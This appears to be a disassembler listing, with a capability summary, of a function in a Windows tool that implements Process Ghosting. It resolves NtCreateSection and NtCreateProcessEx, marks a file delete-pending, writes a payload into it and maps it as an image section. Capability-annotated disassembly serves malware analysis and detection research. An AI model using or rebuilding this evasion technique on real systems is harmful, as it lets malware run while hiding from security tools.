Function at 0x140001310
Capabilities:
Get file size
Link many functions at runtime
Read file on windows
Terminate process
Write file on windows

Disassembly:
sub rsp, 0xd8
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rax, rdx
cmp ecx, 2
jge 0x14000135a
lea rcx, str._Process_Ghosting.exe___Program_to_run__n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140001760
add rsp, 0xd8
ret
movups xmm0, xmmword [str.C:i_dont_exist.txt]
mov rcx, qword [rax + 8]
xor r9d, r9d
movups xmm1, xmmword [0x1400036e0]
mov qword [rsp + 0xe0], rbx
mov edx, 0x80000000
movups xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xf0], rbp
xor ebp, ebp
movsd xmm0, qword [0x1400036f0]
movups xmmword [rsp + 0xa8], xmm1
mov qword [rsp + 0x30], rbp
movups xmm1, xmmword [str.C:UsersHrudaya_VikasaDesktop_tmp.txt]
lea r8d, [rbp + 1]
mov qword [rsp + 0xf8], rsi
movsd qword [rsp + 0xb8], xmm0
movups xmm0, xmmword [0x140003708]
mov dword [rsp + 0x28], 0x80
movups xmmword [rsp + 0x70], xmm1
mov qword [rsp + 0xd0], rdi
movsd xmm1, qword [0x140003718]
movups xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x20], 3
movsd qword [rsp + 0x90], xmm1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, eax
xor ecx, ecx
lea r9d, [rbp + 4]
mov esi, eax
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r9d, r9d
mov qword [rsp + 0x20], rbp
mov rdx, rax
mov r8d, esi
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001461
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Unable_to_read_file_:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.ntdll.dll
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x48], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x14000173b
lea rdx, str.NtCreateSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005a48], rax
test rax, rax
jne 0x1400014bd
lea rcx, str.Could_not_find_NtCreateSection_entry_point_in_NTDLL.DLL
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.NtCreateProcessEx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005a30], rax
test rax, rax
jne 0x1400014ee
lea rcx, str.Could_not_find_NtCreateProcessEx_entry_point_in_NTDLL.DLL
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.NtQueryInformationProcess
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005a40], rax
test rax, rax
jne 0x14000151f
lea rcx, str.Could_not_find_NtQueryInformationProcess_entry_point_in_NTDLL.DLL
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.RtlCreateProcessParametersEx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005a28], rax
test rax, rax
jne 0x140001550
lea rcx, str.Could_not_find_RtlCreateProcessParametersEx_entry_point_in_NTDLL.DLL
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.RtlInitUnicodeString
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005a50], rax
test rax, rax
jne 0x140001581
lea rcx, str.Could_not_find_RtlInitUnicodeString_entry_point_in_NTDLL.DLL
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.NtSetInformationFile
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005a38], rax
test rax, rax
jne 0x1400015b2
lea rcx, str.Could_not_find_NtSetInformationFile_entry_point_in_NTDLL.DLL
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r9d, r9d
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0x70]
mov edx, 0xc0010000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001604
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Opening_file_failed_:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
mov byte [rsp + 0x58], 1
mov r9d, 1
mov dword [rsp + 0x20], 0xd
lea r8, [rsp + 0x58]
mov rcx, rbx
lea rdx, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
call qword [0x140005a38]
mov dword [0x140005630], eax
test eax, eax
je 0x14000164a
mov edx, eax
lea rcx, str.NtSetInformationFile_failed_:__x_n
call fcn.140001010
xor r9d, r9d
mov qword [rsp + 0x20], rbp
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140001682
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Writing_to_ghost_file_failed_:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x30], rbx
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x28], 0x1000000
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0xf001f
call qword [0x140005a48]
mov dword [0x140005630], eax
test eax, eax
je 0x1400016c5
mov edx, eax
lea rcx, str.NtCreateSection_failed_:__x_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm0, xmmword [rsp + 0x40]
lea rdx, [rsp + 0x40]
mov r8, qword [rsp + 0x50]
lea rcx, [rsp + 0x98]
movdqa xmmword [rsp + 0x40], xmm0
call fcn.140001070
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, qword [rsp + 0xf8]
xor eax, eax
mov rbp, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140001760
add rsp, 0xd8
ret
lea rcx, str.Could_not_GetModuleHandle_of_NTDLL.DLL
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3